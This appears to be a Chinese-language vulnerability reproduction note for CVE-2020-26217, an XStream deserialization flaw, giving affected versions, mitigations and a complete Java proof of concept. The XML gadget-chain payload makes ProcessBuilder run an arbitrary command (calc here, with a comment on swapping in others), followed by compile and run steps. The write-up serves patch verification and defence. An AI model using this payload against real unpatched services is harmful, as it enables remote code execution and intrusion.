写在前面
影响范围为XStream < 1.4.14,小版本也需要加黑名单，但是复现过程中只有所有常规版本和下图红标小版本复现成功：
另外还需要XPP3、xmlpull这两个jar包，JDK9无法触发成功。
复现过程中发现1.4.10及以上版本通过在使用fromXML方法前开启默认安全配置：
XStream xStream = new XStream();
XStream.setupDefaultSecurity(xStream); #开启默认安全配置
String xml = ""
xStream.fromXML(xml);
来完成漏洞规避，经测试无法触发漏洞，无需升级到1.4.14。
当然通过补充本次被绕过的黑名单：javax.imageio.ImageIO$ContainsFilter 也可以进行临时防护，可参考官方说明中的Workaround部分：http://x-stream.github.io/CVE-2020-26217.html
准备环境
1.XStream Core
<!-- https://mvnrepository.com/artifact/com.thoughtworks.xstream/xstream -->
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.9</version>
</dependency>
2.XPP3
<!-- https://mvnrepository.com/artifact/org.ogce/xpp3 -->
<dependency>
<groupId>org.ogce</groupId>
<artifactId>xpp3</artifactId>
<version>1.1.6</version>
</dependency>
3.xmlpull
<!-- https://mvnrepository.com/artifact/xmlpull/xmlpull -->
<dependency>
<groupId>xmlpull</groupId>
<artifactId>xmlpull</artifactId>
<version>1.1.3.1</version>
</dependency>
根据官方说明编写测试POC：
import com.thoughtworks.xstream.XStream;
public class vultest {
public static void main(String[] args) {
XStream xStream = new XStream();
//XStream.setupDefaultSecurity(xStream);
String xml = "<map>
" +
" <entry>
" +
" <jdk.nashorn.internal.objects.NativeString>
" +
" <flags>0</flags>
" +
" <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
" +
" <dataHandler>
" +
" <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
" +
" <contentType>text/plain</contentType>
" +
" <is class='java.io.SequenceInputStream'>
" +
" <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
" +
" <iterator class='javax.imageio.spi.FilterIterator'>
" +
" <iter class='java.util.ArrayList$Itr'>
" +
" <cursor>0</cursor>
" +
" <lastRet>-1</lastRet>
" +
" <expectedModCount>1</expectedModCount>
" +
" <outer-class>
" +
" <java.lang.ProcessBuilder>
" +
" <command>
" +
" <string>calc</string>
" + #修改此处string来调用ProcessBuilder执行命令，此处以calc为例
" </command>
" +
" </java.lang.ProcessBuilder>
" +
" </outer-class>
" +
" </iter>
" +
" <filter class='javax.imageio.ImageIO$ContainsFilter'>
" +
" <method>
" +
" <class>java.lang.ProcessBuilder</class>
" +
" <name>start</name>
" +
" <parameter-types/>
" +
" </method>
" +
" <name>start</name>
" +
" </filter>
" +
" <next/>
" +
" </iterator>
" +
" <type>KEYS</type>
" +
" </e>
" +
" <in class='java.io.ByteArrayInputStream'>
" +
" <buf></buf>
" +
" <pos>0</pos>
" +
" <mark>0</mark>
" +
" <count>0</count>
" +
" </in>
" +
" </is>
" +
" <consumed>false</consumed>
" +
" </dataSource>
" +
" <transferFlavors/>
" +
" </dataHandler>
" +
" <dataLen>0</dataLen>
" +
" </value>
" +
" </jdk.nashorn.internal.objects.NativeString>
" +
" <string>test</string>
" +
" </entry>
" +
"</map>";
//final Iterator<?> iterator = (Iterator<?>) xStream.fromXML(xml);
//iterator.hasNext();
xStream.fromXML(xml);
}
}
漏洞复现
1.编译上述poc:
javac -cp xstream-1.4.13.jar vultest.java
2.运行验证：
"C:Program FilesJavajre1.8.0_231injava.exe" -classpath .;xstream-1.4.13.jar;xmlpull-1.1.3.1.jar;xpp3-1.1.6.jar vultest #JDK9测试无法触发，1.8可以，故使用1.8来验证
